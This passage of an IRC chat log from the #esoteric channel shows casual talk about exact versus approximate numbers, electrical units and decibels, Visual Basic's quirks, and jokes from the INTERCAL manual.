sin(pi/2 + i*arccosh(4)) = 4. < 1269637334 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: You are charged with crimes against the English language. < 1269637338 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ah, haven't dealt with that stuff at all < 1269637345 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, or that you don't actually need to solve most things exactly, numerically is good enough as long as you have enough decimals (of course deciding what is enough is another question) < 1269637432 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: as long as it is a positive charge < 1269637452 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(MWAHAHA) < 1269637460 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Ah, there was a lovely joke in the Concrete Mathematics book. < 1269637473 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think almost all (I don't know if this is in the mathematical sense or not) math teachers I ever had have hated approximate answers. They seem to prefer 4*sqrt(2)/44 rather than something like ~0,115 < 1269637506 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: ais523 once complained after i had made so many puns he became physically ill < 1269637507 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :IMO the latter actually tells you a lot more when reading it < 1269637525 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It has student-provided comments scribbled all over the margins; now, in one place the actual book text says something about "looking at sums that involve actual numbers: [a sum expression with j, k and N in it]" and the comment in the margin there was "Caution! The authors of this book seem to think that j, k and N are 'actual numbers'." < 1269637531 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, I can't tell from just looking at "4*sqrt(2)/44" that it is "0.1 and a bit" < 1269637560 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, when was that? < 1269637570 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that's sqrt(2)/11, you infidel! < 1269637576 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :a few weeks ago? < 1269637582 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, wonderful < 1269637592 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, whatever, to me it is ~ 0.115 < 1269637615 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, in practise your measurement tools probably didn't give you that many decimals even < 1269637625 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Then you should positively (no pun intended) love floating-point numbers, given that they're inexact all the time. < 1269637653 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :most multimeters I have seen tend to give you 3 or 4 significant digits < 1269637675 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(well, some of them seem to vary and be inconsistent even within the same range, but that is another, weird, story) < 1269637812 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I have seen the *same* multimeter display, without me touching anything on it displaying: 1.010 V, 1.01 V, 1010 mV < 1269637828 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Oo < 1269637834 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and all I did was vary the amplitude on the signal generator used < 1269637849 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to approach the values from different directions < 1269637864 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like, going from just above downwards or just below upwards < 1269637909 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :some sort of the delay in switching between V and mV could explain part of it < 1269637913 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: What's wrong with surds? < 1269637920 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but not 1.010 vs. 1.01 < 1269637924 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, what < 1269637925 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :? < 1269637953 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :The giving of numbers with square roots and fractions unevaluated. < 1269637984 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, well, it doesn't really give you any sort of feeling for what size the value actually is < 1269638008 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :True, but it's *exact*, and any calculations you make with it are also exact. < 1269638023 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :could you tell what 476531489094403/6171473383353049 actually is < 1269638036 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, like just from looking at it < 1269638044 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1269638047 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :see < 1269638054 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell 476531489094403/6171473383353049 < 1269638067 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Hey, where's fungot? < 1269638068 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :7.721518987342642e-2 < 1269638072 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, you can't really tell which fraction is largest if given two ridiculous fractions like that < 1269638086 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :It really depends what you're using it for. < 1269638094 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, didn't you set up a supervisor for it? < 1269638104 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: No, I just thought about it. :p < 1269638105 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err that might be erlang speak < 1269638106 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Halfway through a calculation it's probably better to leave it as a surd. < 1269638135 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, btw I doubt you can simplify that fraction < 1269638139 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, since both are prime < 1269638143 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I might be wrong < 1269638158 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I've seen "supervisor" used also in a daemony context. < 1269638163 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269638167 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :How can you possibly simplify a fraction of two primes? < 1269638175 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, well yes probably, unless that means you end typoing stuff because the expression takes up two lines < 1269638176 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Gah, my hostmask is again wrongly. < 1269638182 0 :fizzie!unknown@unknown.invalid QUIT :Quit: jumpin' jumpin' < 1269638184 0 :fizzie!fis@iris.zem.fi JOIN :#esoteric < 1269638205 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, I don't know, I'm pretty sure you can't but I might have forgotten something < 1269638211 0 :fungot!~fungot@momus.zem.fi JOIN :#esoteric < 1269638236 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, not identified to services? < 1269638244 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why not just edit the host mask in fungot then < 1269638244 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it just wasn't my brand of humor. < 1269638260 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Two primes by definition share no common factors, and as such no fraction with them as numerator and denominator can be simplified. < 1269638263 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait you are now < 1269638265 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1269638266 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :misread < 1269638282 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, perhaps you could break out a root or something silly like that? < 1269638328 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Well, you can obviously divide top and bottom by anything, but you wouoldn't exactly be simplifying. < 1269638330 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you probably can't what with roots not being rational though < 1269638342 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, indeed < 1269638362 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, anyway one thing I do agree with mathematicians about is units < 1269638367 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell import Ratio; main = print (476531489094403/6171473383353049::Rational) < 1269638371 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :476531489094403%6171473383353049 < 1269638376 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, base units is best < 1269638391 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :even if that means 5*10^-9 F rather than 5 nF < 1269638406 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because that is so easy to forget in your calculations < 1269638411 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :F? < 1269638417 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, farad isn't it? < 1269638436 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Oh, yes. < 1269638447 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, capacitors. And yes the usual range tends to require you to use *10^-something for them < 1269638452 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :For an awful second I though you meant Fahrenheit. < 1269638459 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Wasn't it capacitance where the old-fashioned name for a picofarad was μμF, the micro-microfarad? < 1269638467 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I never seen that < 1269638493 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"A micro-microfarad (μμF) that can be found in older texts is the equivalent of a picofarad." -- An unsourced statement, though. < 1269638494 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I have seen nF, µF mostly. pF (?) I don't remember < 1269638503 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but we're not so old. < 1269638504 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ooh wait < 1269638509 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :tell me what pH is < 1269638519 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pico-henry right? < 1269638522 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1269638529 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269638531 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Or potential of hydrogen. < 1269638538 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Oh, wait. < 1269638545 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, I prefer picohenry < 1269638568 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, but yes pH is usually the "is it acid or basic" thingy < 1269638568 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :this is henry, who is very small < 1269638583 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, henry is a unit for inductors < 1269638590 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it measures, um, something < 1269638596 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I know how to calculate with it thought! < 1269638599 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :though* < 1269638600 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Inductance, presumably. < 1269638603 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes, and 1 kB is one kilobel. < 1269638604 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, ah yes < 1269638611 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, bel? < 1269638620 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh right < 1269638620 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: The B in dB (decibel). < 1269638622 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in dB < 1269638629 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, indeed it must be < 1269638632 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :is bel an SI unit? < 1269638640 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: It's not exactly, but a bit. < 1269638643 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, awfully loud noise I guess < 1269638658 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: At least it's on this "Units outside the SI that are accepted for use with the SI" table, but not on the actual "Units of SI" one. < 1269638658 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Just 10 dB. < 1269638663 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think units is bad: < 1269638664 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mad* < 1269638666 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :You have: dB < 1269638667 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :You want: < 1269638667 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Definition: deci B = 0.8 bit < 1269638669 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1269638675 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :a kilobel should be enough to shatter the universe < 1269638682 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(just entering a unit is supposed to show it's definition) < 1269638688 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but decibit is just silly < 1269638716 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait, since dB is logarithmic.... kB would be horribly extremely large < 1269638719 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Depends on your reference level, of course. < 1269638728 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1269638730 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, even outside sound you don't get tha < 1269638731 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that* < 1269638736 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ^ < 1269638749 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, [citation needed] < 1269638753 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :btw dB it is used in electricity too < 1269638762 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for stuff like amplifiers of signals < 1269638770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which may or may not be sound < 1269638775 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :They use it for everything where there's a ratio of two things. < 1269638843 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :How is a bel even defined? < 1269638845 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: a kilobel is 10^1000 times as loud as 0 bel, that's many orders of magnitude larger than the number of atoms in the visible universe < 1269638865 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :20*log_10(amplification in electronic amplifier) wasn't it? < 1269638868 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :something silly like that < 1269638886 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to get the thing in dB < 1269638976 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :For sound, it's 20*log_10(p_rms/p_ref), where p_rms is the sound pressure level you see, and p_ref is something like 20 µPa (according to Wikipedia); that's around the threshold for hearing in the usual circumstances. < 1269639024 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269639060 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I'm talking about http://en.wikipedia.org/wiki/Operational_amplifier kind of stuff. Had a course that included calculation on such recently at university < 1269639103 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the fun thing was calculating on "ideal" such < 1269639113 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like you deal with ideal resistors or inductors or whatever < 1269639133 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure the stuff quite would pass the scrutiny of a mathematician < 1269639171 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :What is it with Visual Basic? < 1269639187 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I see it referred to all over the place, but what is it acually used for? < 1269639187 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :eh? < 1269639199 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what? < 1269639210 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :visual basic? isn't that a shitty language that microsoft made < 1269639210 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, 10^500 (because the ratio is taken of the squares of the pressure levels) times p_ref would be "just" 2*10^495 Pascals. < 1269639227 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I have no idea of what the usual scale is for pascals < 1269639230 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's basically visual < 1269639232 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't really deal with sound stuff < 1269639245 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, didn't you do some sound stuff at university at some point? < 1269639258 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or was that your main area even? < 1269639262 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Whence "Visual"? < 1269639270 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no, everything fizzie did was unsound < 1269639272 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, no idea < 1269639278 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, maybe because it had GUI stuff? < 1269639282 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Same with Visual C++. < 1269639294 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, iirc that is just a product line of microsoft < 1269639296 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :*shrug* < 1269639297 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Pascal is a derived unit, 1 Pa = 1 N/m^2. Just imagine some 10^494 kilos of stuff on top of you to get a "gut feeling" of that magnitude. < 1269639315 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, why "Vista", why "XP", why "excel" < 1269639325 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't think there is a reasonable answer to any of those < 1269639330 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And Visual Basic, compared to Basic, is indeed pretty Visual; at least the development environment is (or used to be) pretty GUI-form-editor-oriented. < 1269639342 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :And what's shitty about it? < 1269639344 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I don't know which one they named first, though; Visual Basic or the Visual Studio line of stuff. < 1269639352 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ouch < 1269639365 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"BASIC rots your brain; Visual Basic is bad for the eyes", like they say. < 1269639378 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :...Why? < 1269639389 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I have no experience in any BASIC stuff. < 1269639390 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, you might as well ask why COBOL is bad < 1269639403 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: If you want to use a timer somewhere, you put an invisible timer element in a GUI window somewhere. < 1269639408 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(not the same reason, but equally hard to explain) < 1269639410 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Nerds obsessing over minutiae? < 1269639410 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :my gut feeling seems to be in a black hole right now < 1269639420 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, heh < 1269639429 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, that depends on density < 1269639440 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, sounds like delphi? < 1269639589 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1269639656 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: My exposure to Delphi is minimal, but yes, I think there are similarities. < 1269639674 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :*shudder* < 1269639702 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I was raised on Pascal! < 1269639717 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :apple script first for me. Yes I know, horrible < 1269639717 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I think they've sensiblized the language (and the environment) at least somewhat for the current, "VB.NET" generation. < 1269639720 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Though I didn't like it very much. < 1269639723 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then dephi, then sane stuff < 1269639727 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :delphi* < 1269639730 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You can write web stuff with it nowadays, for example. < 1269639741 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, you could in theory before I gues < 1269639744 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :guess* < 1269639747 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if you had stdio < 1269639759 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Then I changed schools, and had to use JavaScript. < 1269639774 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Well.. you could declare win32 api components, though the FFI was a bit limited. < 1269639787 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269639795 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what I meant was a cgi < 1269639869 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I don't know how that stuff works in Windows. I don't recall ever seeing a Visual Basic "console application", but it is possible it could make one. < 1269639985 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"Even if you use the Win32 API for writing into the console screen, Your application won't work, because the Visual Basic compiler always creates GUI application and it doesn't provide any compiler options for changing it to console application." < 1269640002 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There is, however, a third-party binary-mangling tool that translates a GUI PE executable to a console one. < 1269640036 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shivers.
< 1269640047 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh sounds fun < 1269640065 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It seems to be a one-byte change. < 1269640078 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Betwixt what and what? < 1269640092 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :A "GUI mode" PE executable and a "console mode" one. < 1269640102 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :where is that quote from btw? < 1269640113 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://www.nirsoft.net/vb/console_application_visual_basic.html < 1269640164 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That might be a bit outdated too. Probably it's about as easy to write a console app with VB.NET as with any other .NET language. < 1269640193 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shivers even more.
< 1269640279 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"On Error Resume Next" is a nice one-line summary of a Visual Basic mindset. < 1269640294 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269640302 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Wait, so it just skips errors? < 1269640302 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what does it mean? < 1269640315 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Like /INTERCAL/? < 1269640335 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, why a regex? < 1269640342 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It means pretty much what it says. If there ever is a runtime error detected by the system, it is "handled" by resuming execution on the next line. < 1269640343 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(or what the heck where those / / ?) < 1269640350 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :They could be italics. < 1269640357 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269640393 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The other alternative, mind you, is "on error goto x", where x is a line number. (Or a line label, which sounds more likely nowadays.) < 1269640399 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, also iirc intercal doesn't do that sort of thing < 1269640412 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :rather it gives you a cryptic error message < 1269640422 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I thought it just skipped them. < 1269640434 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :And that's how you write comments. < 1269640438 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh that yes < 1269640443 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but that is syntax errors iirc < 1269640493 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no it doesn't skip all syntax errors, but ignores syntax errors in lines that are otherwise skipped (due to starting, e.g. with DO NOT) < 1269640507 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah right < 1269640547 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Oooh. < 1269640695 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :specific lines can have skipping turned on/off with the ABSTAIN/REINSTATE commands < 1269640701 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"The statement DO ABSTAIN FROM ABSTAINING is perfectly valid, as is DO ABSTAIN FROM REINSTATING (although this latter is not usually recommended). However, the statement DO ABSTAIN FROM GIVING UP is not accepted, even though DON'T GIVE UP is." < 1269640705 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :One of my favourite sentences. < 1269640710 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Or a pair of 'em. < 1269640743 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269640781 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I do like the non-sequiturs too, though. < 1269640792 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :intercal needs to be... more self-modifying < 1269640808 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"--, where exp represents any expression (except colloquial and facial expressions), --" < 1269640815 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269640848 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I had an idea a while back for an "exclude" system. < 1269640850 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"No other form of argument is permitted. For example, the following is an invalid argument: [an invalid proof of x != 0, y != 0 => x + y = 0]." < 1269640882 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Wherein one would export a function to another module of code, rather than importing it. < 1269640968 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, argument to what? < 1269640990 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: For REINSTATE, in this case. < 1269641002 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, also were those [ ] there in the original or was that your summary of it? < 1269641009 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That was my summary. < 1269641012 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269641027 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The original has a nice proof that relies on the ambiguities of English. < 1269641032 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, link to this? < 1269641062 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :http://www.muppetlabs.com/~breadbox/intercal-man/s04.html has one HTMLization, section 4.4.10. < 1269641127 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hahaha < 1269641152 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You hardly see any line numbers around nowadays either, which is a shame. There's something so pure about an integer label, instead of some silly thing like a name. < 1269641170 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :When ais523 comes in, link him to http://www.reddit.com/r/programming/comments/bioxv/while_thinking_about_turing_machines_i_found_that/c0mypya < 1269641177 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :even TI-BASIC uses 2 letter labels < 1269641181 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :1 or 2 letters < 1269641186 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't know if numbers work < 1269641194 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and I don't have my TI-83+ handy 